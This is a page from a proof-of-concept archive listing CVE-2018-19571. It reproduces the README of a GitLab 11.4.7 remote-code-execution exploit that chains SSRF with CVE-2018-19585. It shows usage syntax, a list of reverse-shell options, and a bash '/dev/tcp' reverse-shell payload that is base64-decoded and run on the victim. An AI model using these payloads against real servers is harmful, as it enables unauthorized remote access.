Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2018-19571 PoC — GitLab 代码问题漏洞

Source
Associated Vulnerability
Title: GitLab 代码问题漏洞 (CVE-2018-19571)
Description:GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.
Description
GitLab 11.4.7 RCE exploit with different reverse shells. CVE-2018-19571 + CVE-2018-19585
Readme
# gitlab-RCE-11.4.7
GitLab 11.4.7 CE RCE exploit with different reverse shells.  
CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571  
CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585

Modification of the version from [Sam Redmond and Tam Lai Yin](https://github.com/ctrlsam/GitLab-11.4.7-RCE) in order to learn and practice.

## How to use

It is written in python3 as all things should be.

Dependencies:
```
pip3 install requests
```

Use:

```
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
```

By default, the netcat with -e option shell is used.


## Build-in shells

Current build-in shells:

  - nc_e
    - Netcat with the -e option.
  - bash: 
    - Bash executed with absolute path.
  - perl: 
    - Perl executed from the $PATH.
  - python3: 
    - Python3 executed from the $PATH.
  - ruby: 
    - Ruby executed from the $PATH.
  - php: 
    - PHP executed from the $PATH. **Note**: Usually doesn't work in the GitLab docker.

## Add user-defined shells

Some shells contain characters thats doesn't get along with the request encoding. Therefore they are encoded in Base64 and then decoded and executed in the victim's machine.

If you want to add your own shell, add a value to the ```payloads_dict``` structure.

You must define the following:

```python
'bash': {
    # If the raw_payload can be executed withoud encoding
    'safe': False,
    # Payload, must contain the references for the local_ip and for the local_port
    'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
    # How to execute the payload if safe is False. Must conatin the reference for payload
    'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
```

## Disclaimer

The HTML parsing is pretty hardcoded, it may break easily.



File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →